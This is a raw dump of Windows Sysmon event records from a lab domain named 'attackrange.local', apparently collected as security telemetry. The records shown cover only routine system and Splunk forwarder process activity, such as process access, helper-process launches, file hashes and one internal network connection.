14:46:18.643{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FBA-613B-EC0A-00000000F001}4908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBA-613B-EC0A-00000000F001}4908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.644{7BD73061-6FBA-613B-EC0A-00000000F001}4908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.487{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AEAF3A8189AA3A9E54763BB8E69948DF,SHA256=EDD8AC9610486184480F90CB2E799E12DA1AD35BAB4E42114EA5355DC14CCA02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.487{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3D3FDBE27BA529E7E9E0B97A23729ECE,SHA256=FDCBBDDAB59FBF42E703171E495DCE10AB574D9FB0745B43C31126FF9546AF74,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBA-613B-EB0A-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6FBA-613B-EB0A-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.143{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBA-613B-EB0A-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.144{7BD73061-6FBA-613B-EB0A-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014174Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:19.841{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2AFB5E84C5DE4EDE321393EDAE267F20,SHA256=C1DEFA22EA01E007240F381403A1997588A30753BEBB34F4DF08672468D8B130,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.768{7BD73061-6FBB-613B-ED0A-00000000F001}38401976C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.660{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AEAF3A8189AA3A9E54763BB8E69948DF,SHA256=EDD8AC9610486184480F90CB2E799E12DA1AD35BAB4E42114EA5355DC14CCA02,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBB-613B-ED0A-00000000F001}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FBB-613B-ED0A-00000000F001}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBB-613B-ED0A-00000000F001}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:19.503{7BD73061-6FBB-613B-ED0A-00000000F001}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000046040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:16.491{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59280-false10.0.1.12-8000- 23542300x800000000000000014175Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:20.873{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C86A66F7B1AC3D62BDD8640FA65B0D84,SHA256=9F0B6EEFE46D66885D01CF07950958E5A2283B463D00FA731C47B1664DD25F6D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.893{7BD73061-6FBC-613B-EF0A-00000000F001}53486392C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBC-613B-EF0A-00000000F001}5348C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 